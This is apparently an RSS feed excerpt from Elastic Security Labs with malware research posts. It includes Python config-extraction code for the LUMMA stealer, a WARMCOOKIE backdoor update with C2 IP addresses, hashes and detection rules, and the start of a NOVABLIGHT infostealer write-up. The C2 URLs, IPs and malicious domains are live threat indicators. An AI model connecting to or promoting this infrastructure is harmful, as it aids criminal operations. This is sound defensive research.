    return rz.get_data(key_and_nonce_address, CHACHA20_KEY_SIZE), rz.get_data(
        key_and_nonce_address + CHACHA20_KEY_SIZE, CHACHA20_NONCE_SIZE
    )

def build_crypto_context(key: bytes, nonce: bytes, initial_counter: int) -&gt; bytes:
    crypto_context = bytearray(0x40)
    crypto_context[0x10:0x30] = key
    crypto_context[0x30] = initial_counter
    crypto_context[0x38:0x40] = nonce
    return bytes(crypto_context)
</code></pre>
<h3>Step 2: Locate the decryption function</h3>
<p>In this version, LUMMA's decryption function is easily located across samples as it is utilized immediately after loading WinHTTP imports.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image5.png" alt="LUMMA calls for the first time the decryption function +0xdd82" /></p>
<p>We derive the hex pattern from the first bytes of the function to locate it in our script:</p>
<pre><code class="language-py">DECRYPTION_FUNCTION_PATTERN = &quot;5553575681ec1?0100008b??243?01000085??0f84??080000&quot;

def get_decryption_function_address(binary) -&gt; int:
    # A cache system exist so the binary is only loaded once, then we get the same instance of Rizin :)
    if x := reversing.Rizin.load(binary: bytes).find_pattern(
        DECRYPTION_FUNCTION_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
    ):
        return x[0][&quot;address&quot;]
    raise RuntimeError(&quot;Failed to find decryption function address&quot;)
</code></pre>
<h3>Step 3: Locate the encrypted domain's base address</h3>
<p>By using xrefs from the decryption function, which is not called with obfuscated indirection like other LUMMA functions, we can easily find where it is called to decrypt the domains.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image7.png" alt="LUMMA domain decryption location +0xF468" /></p>
<p>As with the first step, we will use the instructions to discover the base address of the encrypted domains in the binary:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image11.png" alt="LUMMA loads domain base address in the eax register +0xF476" /></p>
<pre><code class="language-py">C2_LIST_MAX_LENGTH = 0xFF
C2_SIZE = 0x80
C2_DECRYPTION_BRANCH_PATTERN = &quot;8d8?e0?244008d7424??ff3?565?68????4500e8????ffff&quot;

def get_encrypted_c2_list(binary: bytes) -&gt; list[bytes]:
    rz = reversing.Rizin.load(binary)
    address = get_encrypted_c2_list_address(binary)
    encrypted_c2 = []
    for ea in range(address, address + (C2_LIST_MAX_LENGTH * C2_SIZE), C2_SIZE):
        encrypted_c2.append(rz.get_data(ea, C2_SIZE))
    return encrypted_c2


def get_encrypted_c2_list_address(binary: bytes) -&gt; int:
    rz = reversing.Rizin.load(binary)
    if not len(
        x := rz.find_pattern(
            C2_DECRYPTION_BRANCH_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError(&quot;Failed to find c2 decryption pattern&quot;)

    c2_decryption_va = x[0][&quot;address&quot;]
    return rz.disassemble(c2_decryption_va, 1)[0][&quot;opex&quot;][&quot;operands&quot;][1][&quot;disp&quot;]
</code></pre>
<h3>Step 4: Decrypt domains using emulation</h3>
<p>A quick analysis of the decryption function shows that this version of LUMMA uses a slightly customized version of <code>ChaCha20</code>. We recognize the same small and diverse decryption functions scattered throughout the binaries. Here, they are used to decrypt parts of the <code>ChaCha20</code> &quot;expand 32-byte k&quot; constant, which are then XOR-ROL derived before being stored in the context structure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image4.png" alt="LUMMA decrypting/reencrypting the “expand 32-byte k” constant +0xC6CE" /></p>
<p>While we could implement the decryption function in our script, we have all the necessary addresses to demonstrate how we can directly call the function already present in the binary to decrypt our domains, using nightMARE's emulation module.</p>
<pre><code class="language-py"># We need the right initial value, before decrypting the domain
# the function is already called once so 0 -&gt; 2
CHACHA20_INITIAL_COUNTER = 2

def decrypt_c2_list(
    binary: bytes, encrypted_c2_list: list[bytes], key: bytes, nonce: bytes
) -&gt; list[bytes]:
    # Get the decryption function address (step 2)
    decryption_function_address = get_decryption_function_address(binary)

    # Load the emulator, True = 32bits
    emu = emulation.WindowsEmulator(True)
 
    # Load the PE in the emulator with a stack of 0x10000 bytes
    emu.load_pe(binary, 0x10000)
    
    # Allocate the chacha context
    chacha_ctx_address = emu.allocate_memory(CHACHA20_CTX_SIZE)
    
    # Write at the chacha context address the crypto context
    emu.unicorn.mem_write(
        chacha_ctx_address,
        build_crypto_context(
            key,
            nonce,
            CHACHA20_INITIAL_COUNTER, 
        ),
    )

    decrypted_c2_list = []
    for encrypted_c2 in encrypted_c2_list:
	 # Allocate buffers
        encrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        decrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        
        # Write encrypted c2 to buffer
        emu.unicorn.mem_write(encrypted_buffer_address, encrypted_c2)

        # Push arguments
        emu.push(C2_SIZE)
        emu.push(decrypted_buffer_address)
        emu.push(encrypted_buffer_address)
        emu.push(chacha_ctx_address)
 
        # Emulate a call
        emu.do_call(decryption_function_address, emu.image_base)

        # Fire!
        emu.unicorn.emu_start(decryption_function_address, emu.image_base)

        # Read result from decrypted buffer
        decrypted_c2 = bytes(
            emu.unicorn.mem_read(decrypted_buffer_address, C2_SIZE)
        ).split(b&quot;\x00&quot;)[0]

        # If result isn't printable we stop, no more domain
        if not bytes_re.PRINTABLE_STRING_REGEX.match(decrypted_c2):
            break

        # Add result to the list
        decrypted_c2_list.append(b&quot;https://&quot; + decrypted_c2)

        # Clean up the args
        emu.pop()
        emu.pop()
        emu.pop()
        emu.pop()

        # Free buffers
        emu.free_memory(encrypted_buffer_address, C2_SIZE)
        emu.free_memory(decrypted_buffer_address, C2_SIZE)

       # Repeat for the next one ...

    return decrypted_c2_list
</code></pre>
<h3>Result</h3>
<p>Finally, we can run our module with <code>pytest</code> and view the LUMMA C2 list (<code>decrypted_c2_list</code>):</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/image9.png" alt="Pytest execution result" /></p>
<pre><code>https://mocadia[.]com/iuew  
https://mastwin[.]in/qsaz  
https://ordinarniyvrach[.]ru/xiur  
https://yamakrug[.]ru/lzka  
https://vishneviyjazz[.]ru/neco  
https://yrokistorii[.]ru/uqya  
https://stolevnica[.]ru/xjuf  
https://visokiykaf[.]ru/mntn  
https://kletkamozga[.]ru/iwqq 
</code></pre>
<p>This example highlights how the nightMARE library can be used for binary analysis, specifically, for extracting the configuration from the LUMMA stealer.</p>
<h2>Download nightMARE</h2>
<p>The complete implementation of the code presented in this article is <a href="https://github.com/elastic/nightMARE/blob/main/nightMARE/malware/lumma/configuration.py">available here</a>.</p>
<h2>Conclusion</h2>
<p>nightMARE is a versatile Python module, based on the best tools the open source community has to offer. With the release of version 0.16 and this short article, we hope to have demonstrated its capabilities and potential.</p>
<p>Internally, the project is at the heart of various even more ambitious projects, and we will continue to maintain nightMARE to the best of our abilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/nightmare-on-0xelm-street/Security Labs Images 31.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WARMCOOKIE One Year Later: New Features and Fresh Insights]]></title>
            <link>https://www.elastic.co/fr/security-labs/revisiting-warmcookie</link>
            <guid>revisiting-warmcookie</guid>
            <pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[A year later: Elastic Security Labs re-examines the WARMCOOKIE backdoor.]]></description>
            <content:encoded><![CDATA[<h2>Revisiting WARMCOOKIE</h2>
<p>Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original <a href="https://www.elastic.co/fr/security-labs/dipping-into-danger">post</a>, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent <a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">finding</a> by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.</p>
<p>In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.</p>
<h2>Key takeaways</h2>
<ul>
<li>The WARMCOOKIE backdoor is actively developed and distributed</li>
<li>Campaign ID, a recently added marker, sheds light on targeting specific services and platforms</li>
<li>WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality</li>
<li>Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers</li>
</ul>
<h2>WARMCOOKIE recap</h2>
<p>We first <a href="https://www.elastic.co/fr/security-labs/dipping-into-danger">published</a> research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.</p>
<p>WARMCOOKIE’s significance was highlighted in May 2025, during <a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">Europol’s Operation Endgame</a>, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.</p>
<h2>WARMCOOKIE updates</h2>
<h3>Handlers</h3>
<p>During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:</p>
<ul>
<li>PE file execution</li>
<li>DLL execution</li>
<li>PowerShell script execution</li>
<li>DLL execution with <code>Start</code> export</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image10.png" alt="Switch statement inside command handler" /></p>
<p>The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either <code>rundll32.exe</code> or <code>PowerShell.exe</code>. Below is an example of PE execution from procmon.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image1.png" alt="PE execution handler via Procmon" /></p>
<h3>String bank</h3>
<p>Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, <a href="https://attack.mitre.org/techniques/T1070/010/">allowing the malware</a> to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants  (<code>C:\ProgramData\RtlUpd\RtlUpd.dll</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image6.png" alt="WARMCOOKIE string bank" /></p>
<p>The malware uses <code>GetTickCount</code> as a seed for the <code>srand</code> function to randomly select a string from the string bank.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image4.png" alt="Function used for selecting strings from the string bank" /></p>
<p>The following depicts an example of a scheduled task showing the task name and folder location:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image7.png" alt="Scheduled task using string bank" /></p>
<p>By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image9.png" alt="IT rating website used to populate the string bank" /></p>
<h3>Smaller changes</h3>
<p>In our last write-up, WARMCOOKIE passed a command-line parameter using <code>/p</code>  to determine if a scheduled task needs to be created; this parameter has been changed to <code>/u</code>. This appears to be a small, but additional change to break away from previous <a href="https://www.elastic.co/fr/security-labs/dipping-into-danger">reporting</a>.</p>
<p>In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous <a href="https://www.elastic.co/fr/security-labs/dipping-into-danger#mutex">versions</a> only used one mutex.</p>
<p>Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image8.png" alt="Code optimization comparison" /></p>
<h2>Clustering configs</h2>
<p>Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a <a href="https://www.virustotal.com/gui/file/5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4">sample</a> with a campaign ID of <code>traffic2</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image3.png" alt="Campaign ID within WARMCOOKIE" /></p>
<p>Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image2.png" alt="RC4 key distribution with campaign IDs" /></p>
<p>By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key <code>83ddc084e21a244c</code>, which leverages keywords such as <code>bing</code>, <code>bing2</code>, <code>bing3,</code>and <code>aws</code> for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key <code>83ddc084e21a244c</code> is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.</p>
<p>Other campaign IDs appear to use terms such as <code>lod2lod</code>, <code>capo,</code> or <code>PrivateDLL</code>. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a <a href="https://www.virustotal.com/gui/file/e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555">sample</a> in July 2025.</p>
<h2>WARMCOOKIE infrastructure overview</h2>
<p>After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.</p>
<pre><code>Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0
</code></pre>
<p><em>Certificate details</em></p>
<p>Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/image5.png" alt="Certificate reuse screenshot, September 2024 to September 2025" /></p>
<h3>Conclusion</h3>
<p>Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.</p>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/010/">Indicator Removal: Relocate Malware</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml">Scheduled Task Creation by an Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">87.120.126.32</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">storsvc-win[.]com</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">85.208.84.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">109.120.137.42</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">195.82.147.3</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">93.152.230.29</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">155.94.155.155</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">87.120.93.151</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.165.112</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.164</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">83.172.136.121</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">45.153.126.129</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.55.107</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.247</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">89.46.232.52</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.195.64.68</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">107.189.18.183</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">192.36.57.50</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">62.60.238.115</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">178.209.52.166</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.69.102</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.49.68.139</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.7.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.71.107.41</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">149.248.58.85</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.219</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">151.236.26.198</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">91.222.173.91</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">185.161.251.26</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">194.87.45.138</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">38.180.91.117</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">c7bb97341d2f0b2a8cd327e688acb65eaefc1e01c61faaeba2bc1e4e5f0e6f6e</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">9d143e0be6e08534bb84f6c478b95be26867bef2985b1fe55f45a378fc3ccf2b</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">f4d2c9470b322af29b9188a3a590cbe85bacb9cc8fcd7c2e94d82271ded3f659</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">b7aec5f73d2a6bbd8cd920edb4760e2edadc98c3a45bf4fa994d47ca9cbd02f6</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
<tr>
<td align="left">169c30e06f12e33c12dc92b909b7b69ce77bcbfc2aca91c5c096dc0f1938fe76</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">WARMCOOKIE</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation</a></li>
<li><a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/revisiting-warmcookie/warmcookie.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[MaaS Appeal: An Infostealer Rises From The Ashes]]></title>
            <link>https://www.elastic.co/fr/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes</link>
            <guid>maas-appeal-an-infostealer-rises-from-the-ashes</guid>
            <pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[NOVABLIGHT is a NodeJS infostealer developed and sold as a MaaS offering; it is used primarily to steal credentials and compromise cryptowallets.]]></description>
            <content:encoded><![CDATA[<h2>NOVABLIGHT at a glance</h2>
<p>NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.</p>
<p>Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind <a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">Nova Sentinel and MALICORD</a>, is responsible for NOVABLIGHT as well.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image18.png" alt="Sordeal Group mentioned, followed by a link to the Telegram channel" /></p>
<h3>Key takeaways</h3>
<ul>
<li>NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.</li>
<li>NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.</li>
<li>Heavily obfuscated code with many capabilities.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL <code>http://gonefishe[.]com</code> prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image37.png" alt="Landing page for http://gonefishe . com" /></p>
<h2>Distribution, monetization, and community</h2>
<p>The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image27.png" alt="NOVABLIGHT’s product page on Billgang" /></p>
<p>The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.</p>
<p>The group promotes a referral program on their Discord channel with API keys as rewards.</p>
<p>Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:</p>
<ul>
<li><code>api.nova-blight[.]top</code></li>
<li><code>shadow.nova-blight[.]top</code></li>
<li><code>nova-blight[.]site</code></li>
<li><code>nova-blight[.]xyz</code></li>
<li><code>bamboulacity.nova-blight[.]xyz</code></li>
</ul>
<p>Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image30.png" alt="HTTP response from https://shadow.nova-blight .top found in VirusTotal" /></p>
<p>The GitHub account <code>KSCHcuck1</code> is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account <code>KSCH-58</code> (<a href="https://web.archive.org/web/20231216010712/https://github.com/KSCH-58">WEB ARCHIVE LINK</a>). The X account <code>@KSCH_dsc</code> also possessed similarities, and was actively advertising their &quot;best stealer ever released&quot; as recently as 2023.</p>
<p>The following GitHub accounts have been identified in relation to the group:</p>
<ul>
<li><a href="https://github.com/KSCHcuck1">https://github.com/KSCHcuck1</a></li>
<li><a href="https://github.com/CrackedProgramer412/caca">https://github.com/CrackedProgramer412/caca</a></li>
<li><a href="https://github.com/MYnva">https://github.com/MYnva</a></li>
<li><a href="https://github.com/404log">https://github.com/404log</a> (dead)</li>
</ul>
<p>Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image22.png" alt="User screenshots of building NOVABLIGHT" /></p>
<p>Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image23.png" alt="Image of phones a user of NOVABLIGHT claims to have purchased, shared via Telegram on May 15, 2025" /></p>
<h2>NOVABLIGHT analysis</h2>
